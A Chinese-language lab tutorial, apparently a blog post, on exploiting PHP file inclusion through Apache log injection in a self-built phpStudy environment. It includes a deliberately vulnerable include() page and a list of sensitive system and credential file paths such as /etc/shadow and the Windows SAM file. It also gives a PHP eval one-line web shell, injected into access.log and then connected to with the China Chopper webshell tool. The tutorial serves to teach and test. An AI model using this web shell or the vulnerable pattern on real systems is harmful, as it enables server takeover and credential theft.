文件包含漏洞是 Web 应用程序中的一种常见漏洞。当应用程序允许用户控制包含在页面上的文件时,攻击者就可以利用这一点来包含恶意文件。这种恶意文件可能包含执行恶意代码,导致各种攻击,如代码执行、数据泄露或其他未授权的行为。
本地文件包含(LFI):攻击者可以利用这个漏洞在服务器上包含本地文件。这意味着攻击者可以读取或执行服务器上的任何文件,只要他们有相应的权限。
远程文件包含 (RFI):当应用程序不仅可以包含本地文件,还可以包含外部服务器上的文件时,这种情况会发生。这允许攻击者执行远程服务器上的代码。
日志注入是通过插入恶意数据到应用程序的日志文件来实施的攻击。当这些日志被其他系统或应用程序读取和解析时,攻击者的恶意数据可能会被执行。这通常利用了不安全的日志处理机制和文件包含漏洞的组合。
本次我使用是环境为:
linux-kali:burp suite 火狐插件FoxyProxy
windows10:搭建的为phpstuby的服务器环境 php-5.4.45 + Apache
工具:中国菜刀,中国蚁剑
因为日志注入跟系统环境有关
我是日志目录是自己设置的
下面列出常见的日志目录:
windows系统:
C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //存储Windows系统初次安装的密码
C:\ProgramFiles\mysql\my.ini //Mysql配置
C:\ProgramFiles\mysql\data\mysql\user.MYD //MySQL root密码
C:\windows\php.ini //php配置信息
Linux/Unix系统:
/etc/password //账户信息
/etc/shadow //账户密码信息
/usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
/usr/local/app/php5/lib/php.ini //PHP相关配置
/etc/httpd/conf/httpd.conf //Apache配置文件
/etc/my.conf //mysql配置文件
打开phpstudy,因为需要用到日志功能,部分环境默认日志功能关闭,我们将其开启。
打开后目录后,返回目录上一级,根据下面图片的方式找到日志文件,也就是access.log文件
根据目录找到启动日志功能的配置文件,httpd.conf文件
可以用记事本打开httpd.conf文件
根据日志文件名称搜索
找到##CustomLog “logs/access.log” common
将其"##"删除,代码不再被注释,即启用日志功能。
然后保存并重启服务器环境,即重启phpstudy,日志功能便启用了。
搭建网站的文件包含漏洞,在phpstudy的网站www根目录下写下一个新的php文件,可以取名为1.php
<?php
$filename=$_GET[name];
include($filename);
?>
PHP 代码的结束标签。
这里网站的文件包含漏洞就设置好了
使用我们的kali访问到ip地址下的1.php文件
注入一句话木马前,可以先尝试下是否可以利用文件包含漏洞。
如:我现在可以访问到靶机C盘的桌面txt文件,代表环境搭建成功。
那么开始日志注入,注意这里需要开启一个代理进行抓包,因为日志注入后会进行转义,需要将转义后的代码再改回来。
一句话木马:
<?php @eval($_POST['0907']);?>
可以看到代码进行了转义,将红色文字改回一句话木马,然后放包,放包完成后,记得取消代理,取消抓包。
<?php @eval($_POST['0907']);?>
放包完成后可以去access.log日志文件中查看是否成功,access.log在本文章的"配置环境"目录有找到它的方式。
下面被框起来的
第一条是被转义的日志文件(这是我之前测试的)
第二条是抓包修改后的文件
根据第二条可以发现日志注入成功
查看access.log日志文件的属性,获取文件位置。
访问日志位置,记得加上文件名
通过中国菜刀连接刚刚的地址(位置)
成功
如有不详或错误,敬请指出。